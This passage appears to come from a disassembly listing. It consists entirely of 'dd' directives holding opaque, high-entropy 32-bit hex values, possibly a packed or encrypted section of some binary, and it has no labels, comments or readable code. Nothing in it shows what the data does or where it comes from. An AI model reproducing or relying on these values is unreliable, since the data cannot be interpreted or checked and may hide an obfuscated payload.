292B3A1Fh, 81A1C34h, 5114001Ch, 0BE3B82E9h, 5BE15309h dd 4B02241h, 713A467Ah, 2C7B21FEh, 0C72D2CFBh, 6833E1F7h dd 0B082B4E8h, 895301E5h, 0EC4675FBh, 0A495AB51h, 0E9FCE4B3h dd 0BBCBF04Fh, 0D50EDF69h, 118E0518h, 0EAD17F82h, 2AA2E94Fh dd 3D3300A2h, 9664345Ah, 0D18D820Fh, 428B856h, 4FC4D07Fh dd 90558668h, 0B660FF5Bh, 98C2295Fh, 35D788FBh, 0A80713D3h dd 0FF0AB2Dh, 0FF829D65h, 0E2E0F180h, 1297E3D2h, 99F8778Bh dd 52402C98h, 0AFF74E08h, 0F66C5482h, 40203E17h, 4057BABDh dd 3E68DE7Bh, 0E5024FC1h, 79707596h, 6D0315E4h, 0E9B6BF9Fh dd 34EE8D4Dh, 0B5E074E5h, 4B9C5A2h, 0B2BE64EFh, 7EFE94BAh dd 97C166BDh, 2DD5FE18h, 0E90E6F05h, 64E9DF15h, 0B3189417h dd 1D0A1046h, 356F680Bh, 0DEBF08B0h, 61A79494h, 0DAC54ECCh dd 1EC70C9Dh, 0AAA1D37Bh, 0E9D17E18h, 0D944558Fh, 97CF88D8h dd 0C493AF7Fh, 0B6F92E53h, 0A95C6B04h, 0EAD18048h, 0DA016712h dd 3AE9F731h, 7684FEFFh, 845506E1h, 7C12FF03h, 8EAC8BBAh dd 0B707305Fh, 97FA8894h, 0D154BC33h, 0B812CBB0h, 790C4D4Fh dd 9BD93DEh, 7CD76A8Ah, 69E1597Dh, 9684FA08h, 0A72CAA07h dd 7AC641B4h, 0E9E111ACh, 4DD56F2Ah, 0E8D0F1BFh, 0D9DDC2F0h dd 52693489h, 51E00B7Ah, 0ACF852E2h, 7B1C682Dh, 10011116h dd 0E884D821h, 26C1B7A8h, 0B0026A01h, 0FD2ECF2Fh, 0A03EFF73h dd 8568138Ah, 4F2B355h, 0E188CBB4h, 0C796ECEBh, 0B18CA0E9h dd 6F6100BBh, 0F3816023h, 0B40E6AC8h, 0F30FE97Dh, 1292B4A8h dd 4550202h, 127636C5h, 9D1B250Dh, 0BE41C06Ah, 0E60B1C0Fh dd 0FFDEF741h, 0CEEABA0h, 0CF5AD707h, 0C7022CF9h, 1A675D99h dd 89828DFh, 7658E30h, 933A4D10h, 2848CF09h, 2C8095Dh dd 3C1757Bh, 0BABA1331h, 0BF4623D5h, 0EEB98BBh, 0EAEF4A87h dd 2D0BCD14h, 256FC788h, 2D7D3FC0h, 0E9734504h, 9DAEADD6h dd 7F22A566h, 7C246FE3h, 1143DE2h, 107048E6h, 54B2CC7h dd 0E2EB5986h, 889626h, 3AB904BAh, 0C429C533h, 8E0A064h dd 0E74D6890h, 0F1F30260h, 430A906Eh, 37FE909h, 71DFED51h dd 8F09B90Ch, 0DD6EB26Fh, 21E2E714h, 58930DB1h, 3B55C1CCh dd 26FF7568h, 12835D1Bh, 2ECDBFE2h, 0C75742E8h, 0C39FC7C9h dd 54F912D9h, 9AD32A39h, 97849725h, 99BF7781h, 37547B59h dd 9785A2AFh, 0D91093B2h, 555A16A4h, 0A333704h, 53D1BE00h dd 23912023h, 7F06071Ah, 0B1B01600h, 7E983F3Ch, 9331E161h dd 3B206F21h, 9A63F8D6h, 0DD43BF5Bh, 0FC4BD62Dh, 5B18609Ah dd 5D026D48h, 0C71BD3B9h, 0C0614ABBh, 5876EFF6h, 0BC5EFA0Fh dd 0B84016B1h, 0F50EC8EFh, 71F72D5Bh, 98CE8913h, 136060E9h dd 100FB91Ah, 409E02Eh, 0D7F759CFh, 74D9814Fh, 5A896B4Ah dd 13C8CB6Fh, 178A2CF3h, 0A411257Ch, 30C6C6DFh, 0D9A53DCCh dd 0D3BF575Bh, 74FA093Ah, 9A4DE4D5h, 0E8302015h, 96EFC02Eh dd 6963CF0Fh, 68AF2199h, 4F395F81h, 12416E81h, 41D06A44h dd 300374B4h, 670E4777h, 2E5C1E7Ch, 51FD60B2h, 3816B652h dd 0F85AC0B5h, 9EC519CCh, 0EA2B7B16h, 0E94E0102h, 3D1676C2h dd 0C118D93Dh, 0B2B30637h, 0C32DCF7Fh, 7987C4A5h, 7A412C52h dd 2EB9066h, 0D4B103F3h, 5548D712h, 0F0B28EDh, 245439Fh dd 693FE9DCh, 0B82B0578h, 0E35A253Eh, 654CF155h, 0EA926122h dd 48C02A82h, 94E889CDh, 99555A02h, 0F52FC525h, 0DA0CA7E0h dd 190CC3A1h, 0DFC76C3Ah, 0C6B85080h, 78035C2Bh, 523E6B2Dh dd 6116A856h, 0A2176376h, 82C5D8ADh, 0ED7D4A05h, 0EB808BBDh dd 0E82B7484h, 59994E2Ah, 0B565C1F0h, 564BDC46h, 0AE9A12FBh dd 4FE9DD2Ch, 0ACBD0AC5h, 0E3AE0BB4h, 38D40091h, 0EBD1168Dh dd 0BFC161B2h, 25FAFDFh, 29E4785Dh, 49AC39B3h, 2DFE5ADFh dd 1BF54968h, 1029C028h, 4AE93E72h, 0AC5FF3CDh, 0AF7C8455h dd 5F8C93A2h, 5999D9AAh, 7B42F201h, 0E33F6EB0h, 0B3AAD30Bh dd 443E6215h, 0C2F60BBDh, 0D0380590h, 0C71E32Dh, 91C3E66Fh dd 477B4806h, 0EA4B6959h, 5A7DD92Ch, 9FDFA226h, 0F2694502h dd 34A7D0Ch, 0E85B0804h, 0A555272Fh, 3B90FE8Eh, 63D7BAh dd 0C2811F90h, 7CE811FCh, 51270CC1h, 0EAF12874h, 60996720h dd 7A0D0C2Dh, 7A979753h, 34D24ADBh, 744FFF57h, 0EBB7C456h dd 38E998BEh, 0DD2563B6h, 7A524D41h, 32FCF989h, 7ED7DF21h dd 1612251Dh, 0E6BBA15Bh, 0A940B1E2h, 5CB5EA39h, 0F7A6BCA3h dd 0FFA0315h, 0C1F686Bh, 0BF6C6EA6h, 0D5E49E09h, 0E5843B3h dd 7EE9828Dh, 0B347DFB6h, 0C0A7B002h, 709241E8h, 7D2C6BE0h dd 88EF09DFh, 6E8758C7h, 35F733BEh, 6BC2EEB5h, 0A93163F9h dd 2C6E305Bh, 182FE9F7h, 0C261101Fh, 0DAA217B9h, 2E06FFCDh dd 78E31C0h, 3AF5F9BDh, 49EB8666h, 2EAB5D4Fh, 191F1302h dd 48E35AFh, 8B1C3046h, 7FC6129Ah, 1CEADF95h, 871E018h dd 602C7D27h, 6036E915h, 30EB3F34h, 0A4BA7E1Ah, 9E2FC200h dd 0D2B9514Ch, 19D6255Fh, 0D7E6F7C0h, 293D9B0Ch, 59E9C1CBh dd 205972E0h, 688EFB4Bh, 0FED8A209h, 0CBDD51DFh, 1786391Ah dd 8850C913h, 52BDC51Ah, 0F50131BAh, 9239FAh, 830E9A68h dd 4A1060A9h, 0E4A86F2Ch, 17F24461h, 40BA5202h, 0E0AB6A2Ah dd 2D045DF0h, 367F0F51h, 41FCEBh, 738A0502h, 0B0892A94h dd 68F097EBh, 2E4DE917h, 3FED17E4h, 0C1CBDC49h, 1284124h dd 2D6A015Eh, 87123FF6h, 6AA915F8h, 0CC5C708Ah, 17E95482h dd 5D044BD6h, 0CABED921h, 893058F8h, 0E581F0C2h, 0C0AF8B44h dd 0C051070Ah, 0E2030F4Bh, 0C95EF089h, 0EDD14268h, 7E8159ECh dd 2F3716C9h, 0E5E90134h, 2FD85B6Fh, 652DA8C0h, 603C2F73h dd 7207DDCh, 0ABA7E916h, 708493ECh, 7FCCFE29h, 4BF07B31h dd 30B5C4B2h, 69512CC6h, 4CFE6D5Eh, 9C185F87h, 703C2916h dd 0FCA92A12h, 3F27F276h, 0F1300504h, 117A5F26h, 0CA0F1D7Eh dd 0D8FD51D4h, 17668E0Ch, 16E948BFh, 5BA14920h, 0F49D3546h dd 0C47F69A0h, 4DEB06BEh, 180E9050h, 0D924C61Dh, 77DDE986h dd 0BCBC902Eh, 0BCD1C4B0h, 1A141339h, 0E9757CFEh, 0EB5515Dh dd 65FDF480h, 2A8392CCh, 5814AEFEh, 5B062C73h, 2A4E3AE9h dd 0D51C0CC4h, 3A0EB117h, 0E93E60FFh, 0CE9BFC5Dh, 624C3491h dd 6ACBBE80h, 81026EA2h, 46166E6h, 9F62DF6Fh, 5003A6D9h dd 912B7568h, 0B02B583Bh, 11DF71B6h, 0A05181AFh, 86202008h dd 573240CEh, 15946807h, 3EB2424Fh, 9E24DFCCh, 4A944h dd 0CD8108E5h, 4B3A5A84h, 5821FF31h, 286EF733h, 0AB952842h dd 571F206Ah, 9823106Fh, 183055F4h, 2017542h, 0BA80DBF7h dd 0BE428C9Fh, 2598DAB7h dd 0F9EA2EE8h, 0B088F07Dh, 984B4D32h, 7E8AD5Ah, 0DF5626Eh dd 4C238EE3h, 0C0396A33h, 5A2E348Fh, 17C19FABh, 7B407E29h dd 4E6A1DE2h, 0E5C27801h, 0F4680840h, 0A746971Fh, 0D7471125h dd 93D0221Bh, 421EC073h, 5039C101h, 87545808h, 0B55AACE5h dd 0BF2E0E2Dh, 3C2DE100h, 902A0E72h, 691D10CFh, 550F9971h dd 843E30h, 81632F59h, 9E30C4F6h, 0F5892D0Ch, 71DE1E5Eh dd 0D7734F58h, 0B022C18Eh, 0F29A6007h, 17901B1Fh, 72DA8BBh dd 0DD37E909h, 5F22CAFEh, 0F17919F6h, 0DED5216Eh, 5D3481DCh dd 5558C689h, 0EA2984BBh, 0F90F0BE7h, 8AC20020h, 3D58CE2Fh dd 1A2A7DB1h, 0E520A815h, 92204F53h, 8CD064A7h, 9E77A9Fh dd 28B3B652h, 4F389E57h, 24B2F966h, 0CCA504A1h, 0D54520BCh dd 65CA498h, 2C7384B4h, 0C91046F9h, 74492FA0h, 5EF9422Fh dd 0CC4F9470h, 9F5F36F0h, 574B6D14h, 688074ACh, 261D37A1h dd 0CA4B3DF4h, 0EE92EEB9h, 0D0D49A82h, 0B3055AADh, 701789F0h dd 601095B1h, 0CB98F829h, 8D193D60h, 483C611Bh, 0C539DA2Dh dd 0E9C38982h, 0D0FBAC4Eh, 23F090BDh, 0FC4C5F25h, 5650BD80h dd 63A0A590h, 2AFB74C0h, 73F65907h, 77328C92h, 2ECCC7DCh dd 106C2E11h, 0EDE0C40h, 2E16FC95h, 0B9094A63h, 4946F607h dd 1A25435Ch, 6EEB0456h, 520148A2h, 0C28016B2h, 106905Fh dd 0C059224h, 883C8E70h, 84BEFD4Eh, 50F3AEEEh, 0C5F7F2D2h dd 85B065E9h, 0BB530145h, 34A029F1h, 0C92F304Bh, 1F4E4D00h dd 315BDD21h, 2FEEE4F5h, 0D100D1E9h, 8E48D30Dh, 0C0940EB5h dd 0E9DFBE7Ch, 27015FA6h, 5D8083C3h, 76FC305Ah, 447AC1C0h dd 89A2242h, 3108E954h, 32AF594Ah, 0EFA9761Fh, 2B23688h dd 507E7FE5h, 45DCA055h, 0EB29E93Bh, 69802CDh, 1721803h dd 6006E330h, 79AE5748h, 33CB4A0Dh, 44F7566Fh, 0C9BEBC4Bh dd 25417ED0h, 4B2CBC75h, 0B6070728h, 6BF067B7h, 2448B76h dd 0BF4F25EBh, 0E90D939Ah, 1100326h, 59B58C7h, 0AF6190FAh dd 2A141312h, 188DCE81h, 8D0C1DE0h, 5FA94C6Ch, 6065EE00h dd 0F7314CAAh, 89014693h, 5FC1E9FAh, 828BE36Ah, 58F08850h dd 20F8900Bh, 6812F7ABh, 8F4B416Bh, 0D5B7290Bh, 1F6AF3C5h dd 65510100h, 0B5097DE9h, 9FC8E92h, 0AA5B3E07h, 5AE28150h dd 0EC247965h, 13F10BF2h, 0FDD0497Fh, 70E1E8E9h, 32977302h dd 0F1654C68h, 0CC689DEh, 54E76856h, 841A4AC3h, 0CDAFF3FFh dd 792030D2h, 0EB04EDCCh, 44F49FA9h, 0AAE897D1h, 90FB1552h dd 3D27CE97h, 5AF114Eh, 50492598h, 0AA1CDF79h, 50FEE73Ah dd 5B2B5101h, 0E0404618h, 653B24D8h, 0A9BDCE42h, 21730740h dd 8190687Ch, 131BDF39h, 2302BCE9h, 0F09C5F73h, 744009D2h dd 516F5D01h, 493D2E18h, 0C05C37B6h, 0EE860677h, 108D5F6h dd 0E984C680h, 3CFEED56h, 85538982h, 4DF007BBh, 89F795BFh dd 1F5FEBFh, 5F490108h, 33B57A78h, 0C4944F1h, 0E0C455FAh dd 0F021B5Ah, 577E685Ch, 0B5FCA0C6h, 0C6BAFA54h, 9667B939h dd 62C04E09h, 0A07AAF06h, 301EA193h, 90262D3Bh, 0F4485C6Bh dd 0FEF616E6h, 4EC47A96h, 0C481A81Dh, 9C104F8Ah, 54AF4802h dd 74E0DDF7h, 8E0550DCh, 8EDC164h, 9994E484h, 8F97A455h dd 0B8502001h, 0BD016B6h, 35A56871h, 9922A76h, 0D37F31EAh dd 44BE143Ah, 0BC05B535h, 75BC1B4h, 7CF57B3Eh, 0FC50132Ah dd 0E855F26Eh, 13015BF1h, 0AF5168D0h, 0D135EE63h, 0B16B5445h dd 60007B10h, 49BDCA81h, 4A331EDEh, 0F680A783h, 67FE915Eh dd 0D6BD2690h, 0E95630FFh, 66C017F1h, 0A81246BBh, 0F381032Ch dd 1CD6489h, 2EA10C05h, 23B56C96h, 26020CCh, 0D931A3B1h dd 0F27005E9h, 32786473h, 0CAD12A28h, 21AD119Dh, 1CB00D05h dd 0E0162E1Dh, 0EEBB56BEh, 0B4EB7635h, 0F6BD8BCh, 0A1A44812h dd 51233B02h, 0AAFCFB79h, 0EF3AD775h, 0D2FAF685h, 594813A7h dd 0C1EFC589h, 2BA93B9Ch, 2706BDCAh, 772FEF54h, 0F4A8A29Eh dd 47C0AE38h, 632FFAC7h, 0CB0CC06Ah, 0E977756Eh, 17CFEC55h dd 58BFA224h, 2D096EDDh, 80C66FDBh, 31392A9Fh, 1DC3441Dh dd 0F0C3257Bh, 39D134DEh, 9172DE8h, 0B21C04A2h, 8AB60092h dd 105EEC0h, 0F6E8B753h, 0FAEF80D7h, 8573DE5Dh, 0EAFE284Ch dd 855073C9h, 9D615068h, 7C225CC6h, 973EA6E8h, 0BF125C0Eh dd 0E9CA87E6h, 95A2DCEh, 72F5E48h, 605467DBh, 7BE81DE4h dd 203DAF5Ah, 0C08D9AD2h, 507AA414h, 0DEFAD5Dh, 408C762Ch dd 0CE762162h, 0A7BFD155h, 0B8007094h, 4CD95826h, 0D0F182E9h dd 8B109A30h, 0F9C750BDh, 17B81F4Fh, 1012E292h, 0F702E23Dh dd 489868F9h, 13D784A2h, 46CFFDD6h, 5A2C88C8h, 2001AB31h dd 16706860h, 9AFD41F8h, 0AE4F5023h, 309141BCh, 73727881h dd 68535101h, 0F34ECB6Ch, 0EDBEAD54h, 0C0E9B1F2h, 854F2C3Ch dd 5827FC92h, 0CFCB05CAh, 17AF0C0Ah, 0F0D5FBE2h, 0E7E0AAFh dd 525FB2ECh, 41168083h, 7FB91503h, 0D90ABC46h, 0A83B4DD3h dd 29DFA7BEh, 84F65355h, 0AA611D68h, 0FEF88C61h, 0F630005h dd 0C13B1B6Bh, 5AF0E85Fh, 113C0C2Fh, 0DA22930h, 18441F09h dd 0F6B05F19h, 0F195DB51h, 0E280C1D9h, 8FF2CC48h, 60B6E913h dd 69537D8Ch, 9A04D51Bh, 3211435h, 3EE14B7Eh, 0EA56B301h dd 5D098468h, 0DB9087FAh, 0AFF58C93h, 3DEE2A95h, 0BBB83E2Eh dd 230F3AE1h, 2CBF04A7h, 9C13E41h, 0DB544860h, 392480EFh dd 0FA208E53h, 0CAE91231h, 82522121h, 0E547941Ch, 12C607CEh dd 0C7D223FCh, 0AE74DB96h, 5052501Fh, 2DF5680Eh, 6058CE35h dd 7F9D2A23h, 38477297h, 48E2EEE9h, 0CAFD60B1h, 9D4DC195h dd 4FC0FA05h, 2F0B1035h, 0C3C1454Bh, 3A4F3516h, 54A1C2ACh dd 2BEB2A58h, 4785873h, 0BBB7591h, 0B81816AFh, 0F5BB5080h dd 68858699h, 7EF54CB4h, 8085026Eh, 5AE150CEh, 20F6D905h dd 634062B2h, 4D82BD09h, 9A4811E3h, 5F16E6F5h, 0F31422C9h dd 87C16215h, 0B9935FFDh, 760B0E5Fh, 0A0EB58FBh, 0BACF508Dh dd 0EA1C5E25h, 5F58D068h, 2151E5EDh, 18082023h, 887F3BDh dd 6804CC6Fh, 2B8C0E32h, 1DFE9D58h, 0E04CFFDAh, 58CBDA20h dd 7581814Fh, 0F8407160h, 9B6E34Dh, 0D1399383h, 0C2C9B01Ch dd 46262811h, 378F3CBAh, 0A6E92F7Ch, 0CEF52148h, 0AFDC190Fh dd 9EB99229h, 153E87Ch, 1F9E1E7h, 2B8759C8h, 76D4E9EDh dd 0EF4A0738h, 2C1C4D9Fh, 3AD81F54h, 0C0255058h, 0E9B28581h dd 4A055CBh, 0BCFECD2Fh, 0BE7D880Ah, 500FADDBh, 0CD0FBD31h dd 0A04A7637h, 21E360EDh, 0C5F6D30Ch, 888AFAABh, 0C0CCFE7Eh dd 524CB95Ah, 8EA1555Bh, 40C7DC62h, 0D103F4C6h, 0C0013128h dd 0D59CB576h, 0A6A07AEDh, 5FE5E607h, 0AB2AC4D0h, 0FA0DB06h dd 10F602F1h, 1914CC1h, 55E33ADFh, 64B0CECCh, 424CA109h dd 4C9A7F52h, 0DAB1BBD2h, 0C7A7C201h, 0A76E687Ch, 0D4E9135Dh dd 89C0D94Bh, 21D604F3h, 7BAFB6AFh, 7BABCD55h, 68575580h dd 596E495Eh, 59094110h, 0EAE9A072h, 2CCF94D6h, 80961FAEh dd 162DF6F1h, 5D5A1933h, 902A8EB1h, 5F096373h, 1AC87D50h dd 0E9E606E8h, 44D3AD34h, 280A6D81h, 4B6E8F3Eh, 0C24D77A8h dd 0BF0F2C28h, 5D18E6F4h, 2F01FD56h, 5250142Bh, 5AE1E334h dd 8C8B46BEh, 0D9275FDEh, 0E9DA135Bh, 0AD516980h, 5B9C3C77h dd 4FF7CB9Eh, 0F89C5DDh, 0B598F8BBh, 92919214h, 4D09EB02h dd 0D36D6076h, 62EE1D27h dd 0C1019F83h, 4963CAE5h, 44AA8238h, 55304122h, 4AF72A4Ah dd 0F2EA57D1h, 8D204A60h, 0EE5E5780h, 0F811BAF2h, 0C9CB5B96h dd 78DF4A8h, 0E8DE47A0h, 16EFE5D6h, 6B38BA0Ch, 0EAF9BFD0h dd 71A60F48h, 862AF124h, 1F685809h, 0E2C2FE1Eh, 0F95DCC33h dd 0E4DF251Fh, 6DD02D9Dh, 0D2B0AFC6h, 0CEC13F04h, 0E8BE2DF3h dd 0F81E71EBh, 48E508E9h, 0E88C0D59h, 0F905059Dh, 0B164CD78h dd 0E907009Bh, 3ABFE287h, 3CA80019h, 307EAA54h, 946EC501h dd 175E6264h, 4F025B85h, 40750890h, 0EC59C7A4h, 7C31B21Dh dd 551104AEh, 0B3207DE9h, 538E0594h, 0F2EF686Ch, 81F9D630h dd 84399C00h, 6BD0687Fh, 8B0C51BFh, 5411DFE9h, 566093E0h dd 6BC1EF44h, 0BA10A5A3h, 16E94C86h, 0F4A8ECE4h, 373E16D2h dd 708B8F6Fh, 1D94C7FAh, 0EFDA5E38h, 9C62D230h, 0CA507BE9h dd 900FB89Dh, 44175F40h, 9EBE840Ch, 64A55BF3h, 6702F46Fh dd 0A8204E4Ah, 0BA7FDBBEh, 81A9EA09h, 0CCFDB53h, 28395B0Ch dd 2C98F8FAh, 41400C5Bh, 0EA8029B5h, 0EA2873BCh, 46B8EBC2h dd 50ED375h, 0AE24E632h, 35AA9D41h, 0C26EE714h, 9DDD8C1h dd 0CF967703h, 854E6190h, 8832F2E1h, 0B3D7FA16h, 0A45F79B6h dd 0EE818F00h, 5C184543h, 0B404DB0Ah, 0EAE9AA6Dh, 0C2CA7749h dd 734975EEh, 98126A71h, 3E10BACAh, 0CE777F15h, 0D0305A51h dd 0B33D13A5h, 177AF39h, 1604ACC1h, 0E11F34E0h, 0B568A83Ah dd 0D12D8CFAh, 5B817F40h, 0CFCEB86Ch, 0F057DF5Bh, 0D5B24540h dd 1F5AD128h, 923AC180h, 0C3385E6Eh, 665058E5h, 88F5260Bh dd 0BC0775D0h, 0FAC9CBC5h, 8AD62028h, 0E9B33BE7h, 5C8002C8h dd 28B2F580h, 61FDA0E8h, 0B776827Eh, 0BCAAA9B4h, 73139ED2h dd 984790ABh, 1148CB60h, 51BE06D4h, 0B02A6306h, 54A73A55h dd 18DC15A4h, 0AC3B8205h, 47BC571Ch, 0F810A36Eh, 908BB00h dd 2CB92F46h, 39CB0BDFh, 56395DB5h, 2CB62ED9h, 7B99A22Ah dd 7E53B787h, 47BBD6A7h, 4982D27Eh, 5392E68Eh, 0C237EACEh dd 4392B8C4h, 0E6CD445Bh, 0BD1CB586h, 0FB94B0BFh, 0AF954CE9h dd 3B7DFE4Bh, 0E2CA14A5h, 3886D340h, 0F7602300h, 0A2BA52DDh dd 28B00529h, 0A21062E9h, 0A7C04EEBh, 8016AB68h, 204155E9h dd 0FBD5F16Eh, 0F309BA85h, 47C595Ah, 0BFFECF3Fh, 0E90B4ACFh dd 0F77A2757h, 92E4972Dh, 8824F44Eh, 0F08D7FDh, 43D24A3h dd 0FBFEC83Eh, 0A9F8B72Dh, 37159AC1h, 6FF7DF87h, 0AB29F88Bh dd 416BC85Ah, 53B1D159h, 2C8E8848h, 74AD1598h, 3868D839h dd 0ADE65A5Bh, 0E2845C89h, 1766A9C7h, 62BC5705h, 66C07ECBh dd 210636BEh, 0F3290F3Eh, 6BF641D6h, 565985D1h, 0B085B200h dd 0D030BD0Eh, 66C6635Ah, 41F1BA58h, 924EBA3h, 0CD7713F7h dd 12121DC9h, 3B7BB3E7h, 35ACD266h, 40AA9B92h, 80847CCEh dd 5D6957B9h, 5F6F6284h, 4A3AA5C7h, 5B25EAB7h, 40527EF6h dd 8011F1E6h, 480E42B9h, 21494F83h, 129D6841h, 0FCD3307Fh dd 5B1F7253h, 44D64E46h, 30E489EEh, 7A120BB5h, 9CB107EDh dd 95046146h, 54757CE2h, 3C0388C7h, 1E745038h, 0F0B2F68Ah dd 4BB776E9h, 8DEAB4AAh, 7C5FCE67h, 0DB9D5EE8h, 0E8E942BDh dd 5E5B5550h, 0E3C33C37h, 0C420DD25h, 3E5983EFh, 2393208Ch dd 227C539Ah, 9D77F46h, 4645FD15h, 0A496F52Dh, 7BB4165Dh dd 1A66EA04h, 0E5FF380Dh, 0C11B4E3h, 598F92EAh, 3FDB7F43h dd 0E1313637h, 57994B92h, 527B3E18h, 706845A8h, 24E74C53h dd 5F5AD754h, 851912B1h, 4E3B68DDh, 19CF9CD8h, 0B2078E2Fh dd 0D00DA7CBh, 9046A729h, 24AFD714h, 0D7B200F6h, 497E3619h dd 0C9A8E89Fh, 177917D9h, 4DE9C01Eh, 0E9F87A83h, 62FFAE12h dd 0C36EC4AEh, 0A1124B3Ah, 74EE31B2h, 0E9718801h, 84A75Bh dd 8FD9E9AFh, 0F0D2DD58h, 5089379Ch, 7D5CEE57h, 0F40EACEFh dd 1211B15Dh, 0BED9849Eh, 1985EBB3h, 25DEF96Fh, 0BB4D7CEDh dd 68E04BC8h, 19953CCDh, 0DFCADBF2h, 57A71A65h, 1209BFC4h dd 0E30DCF3Bh, 1968A804h, 531B4897h, 0B7DDE90Bh, 10B4602h dd 3DE8876Bh, 0F9BD5477h, 0DEB662BEh, 7C30B9DFh, 44FCDA51h dd 7F13BA04h, 7D7F4AF1h, 0D41A2554h, 66583C70h, 436A1D6Eh dd 42AF2696h, 4D44DF33h, 628F8FA3h, 0C055493h, 0C1123805h dd 92E112ABh, 0B78C483h, 59CA0913h, 0C36CF4AAh, 610D630Eh dd 0F287FE4Ah, 0BF7F7FFBh, 0EF13A007h, 0B7077D9h, 0EC5D0882h dd 6A09F908h, 800ED6FDh, 41325F3h, 0BBD028EFh, 0D8E48F99h dd 66E91752h, 531149DDh, 16C54C75h, 0BA379768h, 0F918C429h dd 0E6495ECAh, 325104D5h, 93C2562Fh, 3830A7Ch, 35933BF0h dd 0CD74C1B0h, 50CFEC25h, 0F3AD34C1h, 132FC82h, 0B3535051h dd 5BDD8861h, 0F612E0CEh, 0FD863ADDh, 5266DF0Bh, 18142277h dd 77D80983h, 0DDE9B699h, 59C6AC79h, 91E120A4h, 0B10954B0h dd 0D076F92Ch, 85855F46h, 0F0B6F827h, 0B362D568h, 51F2C9CCh dd 2F0EF320h, 2F5EDCE9h, 2B96F5ADh, 7D9A3191h, 0C36E6199h dd 0B9CB88A7h, 681811F6h, 9D592F9Eh, 616082BCh, 0E42F023Bh dd 0FC6A7815h, 0B3CC4AE5h, 5DA613B3h, 58E288EFh, 0B6EC71B7h dd 0EAF1C35Dh, 0C14B1C7Ah, 0D60E1EAFh, 1CCA091h, 83BA579Dh dd 0B00B0278h, 0FF7F3B38h, 5543B50Fh, 5CAEF6E9h, 0A4EF0128h dd 8B40FEB7h, 0CB5D8ABBh, 0B0C4015Bh, 31810B59h, 0D0F232F1h dd 636C07E5h, 0F1C02785h, 4CC068E1h, 0DD02B140h, 89EB4A87h dd 0E581DF76h, 296A2C52h, 2F0808E6h, 902E84Ch, 0E95A1C57h dd 9F5E7077h, 0C9EF1D56h, 1907872h, 845607BBh, 24EBC161h dd 0FA05F1C1h, 0DE29CF79h, 0F6B030D7h, 20FA460h, 0E9F70962h dd 24D2E8ECh, 0FD824A74h, 86651C81h, 9C146E2Bh, 56DE254Bh dd 4668E0A7h, 1C60703Bh, 3527C9D8h, 0F61F60B8h, 0B21ECCDFh dd 0CD895516h, 0D4F027BEh, 51C5FAA1h, 847CE6AEh, 0F2D12999h dd 0A8706659h, 99344A09h, 0D496889Bh, 0FFD12FCCh, 3B632D80h dd 0B85F60B7h, 1F5FBC83h, 22A00E66h, 0B0C38984h, 5590DEE0h dd 0CFF4D820h, 0DFF0B650h, 0ADDA3D8Ch, 322DBFC1h, 8C0FD40Ch dd 0CDCF1050h, 0C85F5E49h, 0C25C4219h, 38E87509h, 53C0461Fh dd 0DA12EDF2h, 9E2EC6Ah, 39856771h, 45960800h, 0E89F7323h dd 0F4649067h, 9B1CC31Ah, 0EFBC3F0Bh, 7D21F092h, 37B99A98h dd 0E1255E38h, 0DAA1CBA6h, 926B62C6h, 427EF92Eh, 4675BE68h dd 70517903h, 37AF26B0h, 0FF10C7h, 1DCE815Eh, 957CFD6Bh dd 0EC82ABF4h, 0C03E666Ah, 7AFFCD5Ah, 7EE9158Ah, 0FD12D7EAh dd 721AB333h, 652D77C0h, 0A181636h, 6853F801h, 13302408h dd 0A4B9AC83h, 96863FEDh, 842898D7h, 0A720B5C8h, 615B5BC1h dd 3CF9BB6h, 75D2B251h, 86FCDDE6h, 0F610D465h, 94BF0BC1h dd 914C902Fh, 4D7A0F03h, 0F0FC7309h, 875703B2h, 0E960B859h dd 1F649FCBh, 0E2430C04h, 6FD129F8h, 353AF6B5h, 0C16C88B8h dd 0BFE85544h, 0C616DDD3h, 0E96AC3BEh, 3A9A9FCh, 7E4E92E2h dd 7804DF15h, 6503F390h, 49417ABDh, 59055CEEh, 0FC47335Bh dd 577F10B9h, 984B9A50h, 7FA48470h, 0BCA5E5Bh, 437EBA15h dd 80F962AFh, 0BF47C62Dh, 90FAF206h, 0D408823Bh, 0C9E90694h dd 0BCD39B61h, 59E6C3FAh, 2E7CC6E9h, 0D788BC21h, 0E0F0FCC9h dd 0E8749F6Fh, 48514F70h, 0EF015470h, 797A2D7Ch, 0C7C2DB29h dd 1E5D0886h, 21016E1Ch, 8AF7ACBFh, 2AC10820h, 5F452709h dd 83D9F8FEh, 0F5B01008h dd 0DEC77F1Ah, 0B8A519F6h, 0FF3FC4BEh, 3C841387h, 0B57520EAh dd 80E2B671h, 9CBDC639h, 8C397FEEh, 0C979D7E9h, 6E0145C2h dd 6CD4DDE8h, 0DB3FBCD0h, 0C8F231E0h, 6A7BBE13h, 7EC7E855h dd 0FF05D992h, 0C1315382h, 92781B42h, 610E459Dh, 65C51AE9h dd 0B2B12F5Dh, 12DB2D31h, 373492D2h, 0DAC8063Fh, 192DD97Dh dd 2054D239h, 553AACFDh, 2116A668h, 1A6DFEC6h, 66C087E9h dd 0D77D9ADFh, 0B94915D1h, 0D23CE149h, 0B7168928h, 64C2D24Bh dd 0D38222C5h, 0E07D342Fh, 0E253BE7Fh, 0B0785A95h, 818016B2h dd 58BF18C5h, 0CED78BAh, 50910113h, 0C38780BFh, 0F0271DCAh dd 0EF085F05h, 0C8591308h, 0C5D8B01h, 0C7E9C271h, 84555BD8h dd 0F8634F68h, 0D10AC674h, 0DC5C4988h, 40D85028h, 80C666D4h dd 220B07C8h, 0EC3F670Ch, 0F3299934h, 5503EB10h, 4C0ABDF0h dd 0E53FC1FAh, 45452603h, 0EFEB4F19h, 48EEBC3Bh, 88053072h dd 0B301DB1h, 0CB2858E1h, 0B5688901h, 80907F2Bh, 1363B353h dd 4487F380h, 1FA64A66h, 720CBB43h, 52E89D84h, 0F32E9C3h dd 5A582204h, 0B8EA5C31h, 4D84B63Ch, 114F334Ch, 9D6A091h dd 3712FE6Ch, 0BFC77E85h, 9ABCA117h, 6B89B1h, 90F6D12Dh dd 0A0D79D19h, 106852EBh, 0BA7C7870h, 2FE17CD9h, 0BE7E1F91h dd 510B0501h, 77D426F7h, 546E054Bh, 1D2DE829h, 3D116807h dd 7303055Dh, 0D8017433h, 680702EDh, 0BB713841h, 8208699Ch dd 4DC60279h, 7D413254h, 77D22E8Ch, 0BB227F90h, 1C7F5621h dd 3EB3EC8Dh, 10DA70Dh, 0A0065DEAh, 0F8930B52h, 0EFB6804h dd 8ECACCABh, 0E1EDD64Ah, 0BDD0FBD7h, 0AA22C268h, 71F3405Ah dd 0BFA1C0A8h, 7A986A12h, 9F60D9F6h, 